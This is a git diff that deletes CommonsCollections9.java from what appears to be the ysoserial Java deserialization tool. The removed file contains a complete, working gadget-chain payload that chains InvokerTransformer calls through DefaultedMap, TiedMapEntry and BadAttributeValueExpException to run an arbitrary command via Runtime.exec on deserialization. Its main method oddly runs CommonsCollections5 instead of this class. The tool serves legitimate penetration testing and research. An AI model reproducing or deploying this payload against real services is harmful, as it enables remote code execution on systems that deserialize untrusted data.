diff --git a/src/main/java/ysoserial/payloads/CommonsCollections9.java b/src/main/java/ysoserial/payloads/CommonsCollections9.java
deleted file mode 100644
index ba13186..0000000
--- a/src/main/java/ysoserial/payloads/CommonsCollections9.java
+++ /dev/null
@@ -1,99 +0,0 @@
-package ysoserial.payloads;
-
-import java.lang.reflect.Field;
-import java.util.HashMap;
-import java.util.Map;
-
-import javax.management.BadAttributeValueExpException;
-
-import org.apache.commons.collections.Transformer;
-import org.apache.commons.collections.functors.ChainedTransformer;
-import org.apache.commons.collections.functors.ConstantTransformer;
-import org.apache.commons.collections.functors.InvokerTransformer;
-import org.apache.commons.collections.keyvalue.TiedMapEntry;
-
-import org.apache.commons.collections.map.DefaultedMap;
-
-import ysoserial.payloads.annotation.Authors;
-import ysoserial.payloads.annotation.Dependencies;
-import ysoserial.payloads.annotation.PayloadTest;
-import ysoserial.payloads.util.JavaVersion;
-import ysoserial.payloads.util.PayloadRunner;
-import ysoserial.payloads.util.Reflections;
-
-/*
-	Gadget chain:
-		ObjectInputStream.readObject()
-			AnnotationInvocationHandler.readObject()
-				Map(Proxy).entrySet()
-					AnnotationInvocationHandler.invoke()
-						DefaultedMap.get()
-							ChainedTransformer.transform()
-								ConstantTransformer.transform()
-								InvokerTransformer.transform()
-									Method.invoke()
-										Class.getMethod()
-								InvokerTransformer.transform()
-									Method.invoke()
-										Runtime.getRuntime()
-								InvokerTransformer.transform()
-									Method.invoke()
-										Runtime.exec()
-
-	Requires:
-		commons-collections
- */
-/*
-This only works in JDK 8u76 and WITHOUT a security manager
-
-https://github.com/JetBrains/jdk8u_jdk/commit/af2361ee2878302012214299036b3a8b4ed36974#diff-f89b1641c408b60efe29ee513b3d22ffR70
- */
-//@PayloadTest(skip="need more robust way to detect Runtime.exec() without SecurityManager()")
-@SuppressWarnings({"rawtypes", "unchecked"})
-@PayloadTest ( precondition = "isApplicableJavaVersion")
-@Dependencies({"commons-collections:commons-collections:3.2.1"})
-@Authors({ Authors.MEIZJM3I})
-public class CommonsCollections9 extends PayloadRunner implements ObjectPayload<BadAttributeValueExpException> {
-
-    public BadAttributeValueExpException getObject(final String command) throws Exception {
-        final String[] execArgs = new String[] { command };
-        // inert chain for setup
-        final Transformer transformerChain = new ChainedTransformer(
-            new Transformer[]{ new ConstantTransformer(1) });
-        // real chain for after setup
-        final Transformer[] transformers = new Transformer[] {
-            new ConstantTransformer(Runtime.class),
-            new InvokerTransformer("getMethod", new Class[] {
-                String.class, Class[].class }, new Object[] {
-                "getRuntime", new Class[0] }),
-            new InvokerTransformer("invoke", new Class[] {
-                Object.class, Object[].class }, new Object[] {
-                null, new Object[0] }),
-            new InvokerTransformer("exec",
-                new Class[] { String.class }, execArgs),
-            new ConstantTransformer(1) };
-
-        final Map innerMap = new HashMap();
-        final Map defaultedmap = DefaultedMap.decorate(innerMap, transformerChain);
-
-        TiedMapEntry entry = new TiedMapEntry(defaultedmap, "foo");
-
-        BadAttributeValueExpException val = new BadAttributeValueExpException(null);
-        Field valfield = val.getClass().getDeclaredField("val");
-        valfield.setAccessible(true);
-        valfield.set(val, entry);
-
-        Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain
-
-        return val;
-    }
-
-    public static void main(final String[] args) throws Exception {
-        PayloadRunner.run(CommonsCollections5.class, args);
-    }
-
-    public static boolean isApplicableJavaVersion() {
-        return JavaVersion.isBadAttrValExcReadObj();
-    }
-
-}